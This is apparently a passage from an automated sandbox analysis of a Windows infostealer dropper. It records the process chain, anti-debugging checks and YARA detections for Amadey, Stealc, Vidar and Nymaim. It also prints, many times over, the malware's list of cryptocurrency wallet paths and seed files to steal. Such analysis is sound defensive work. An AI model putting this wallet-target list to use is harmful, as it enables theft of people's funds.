14_2_04A70C92

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C995FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C995FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C933480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00BC652B mov eax, dword ptr fs:[00000030h]		17_2_00BC652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00BCA302 mov eax, dword ptr fs:[00000030h]		17_2_00BCA302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C96B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C96B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3604, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\AEBKFIJEGC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\AEBKFIJEGC.exe "C:\Users\user\Documents\AEBKFIJEGC.exe"	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe "C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe "C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe"	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2791371544.000000000129D000.00000040.00000001.01000000.00000003.sdmp, c3e4899de4.exe, 00000014.00000002.3566562666.0000000000E17000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Program Manager
Source: 77d2de4f7b.exe, 00000013.00000002.3565867736.00000000009A7000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: ]%>BProgram Manager
Source: skotes.exe, skotes.exe, 00000011.00000002.3565471506.0000000000D78000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: H(l1Program Manager
Source: 77d2de4f7b.exe, 00000013.00000002.3565867736.00000000009A7000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: o]%>BProgram Manager
Source: AEBKFIJEGC.exe, 0000000E.00000002.2827098625.0000000000CD8000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000F.00000002.2864176516.0000000000D78000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2864404898.0000000000D78000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: oH(l1Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C96B341 cpuid

0_2_6C96B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9335A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9335A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 17_2_00B965E0 LookupAccountNameA,

17_2_00B965E0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 17.2.skotes.exe.b90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.skotes.exe.b90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.skotes.exe.b90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.AEBKFIJEGC.exe.af0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.2864178110.0000000000B91000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3565269812.0000000000B91000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2823789003.0000000005300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2826762695.0000000000AF1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3268275639.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2783806742.0000000004890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2820703698.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2863937993.0000000000B91000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Nymaim

Source: Yara match	File source: 19.2.77d2de4f7b.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.77d2de4f7b.exe.4b50e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.77d2de4f7b.exe.4d00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.77d2de4f7b.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000003.3548213235.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3565368879.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3582703563.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2234834361.0000000005630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2790206545.0000000000ED1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2792859084.000000000197E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3604, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3604, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: RCIIZOAMuser\AppData\Roaming\\ElectronCash\wallets\\..*
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger 